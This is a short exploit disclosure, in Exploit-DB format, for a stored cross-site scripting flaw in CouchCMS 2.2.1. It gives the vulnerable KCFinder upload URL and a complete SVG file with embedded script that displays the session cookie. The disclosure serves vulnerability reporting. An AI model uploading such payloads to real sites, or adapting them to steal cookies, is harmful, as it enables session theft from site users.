27af25c8c3
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# Exploit Title: CouchCMS 2.2.1 - XSS via SVG file upload
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# Date: 2021-01-25
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# Exploit Author: xxcdd
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# Vendor Homepage: https://github.com/CouchCMS/CouchCMS
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# Software Link: https://github.com/CouchCMS/CouchCMS
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# Version: v2.2.1
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# Tested on: Windows 7
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An issue was discovered in CouchCMS v2.2.1 (https://github.com/CouchCMS/CouchCMS/issues/130) that allows XSS via an /couch/includes/kcfinder/browse.php SVG upload.
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upload url is :/couch/includes/kcfinder/browse.php?nonce=[yournonce]&type=file&CKEditor=f_main_content&CKEditorFuncNum=1&langCode=en
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<http://127.0.0.1/couch/includes/kcfinder/browse.php?nonce=02b16f710f786c61f34e301eae552bdf&type=file&CKEditor=f_main_content&CKEditorFuncNum=1&langCode=en>
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xss.svg content:
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<?xml version="1.0" standalone="no"?>
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<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
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http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
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<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
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<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
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stroke="#004400"/>
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<script type="text/javascript">
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alert(document.cookie);
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</script>
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</svg> |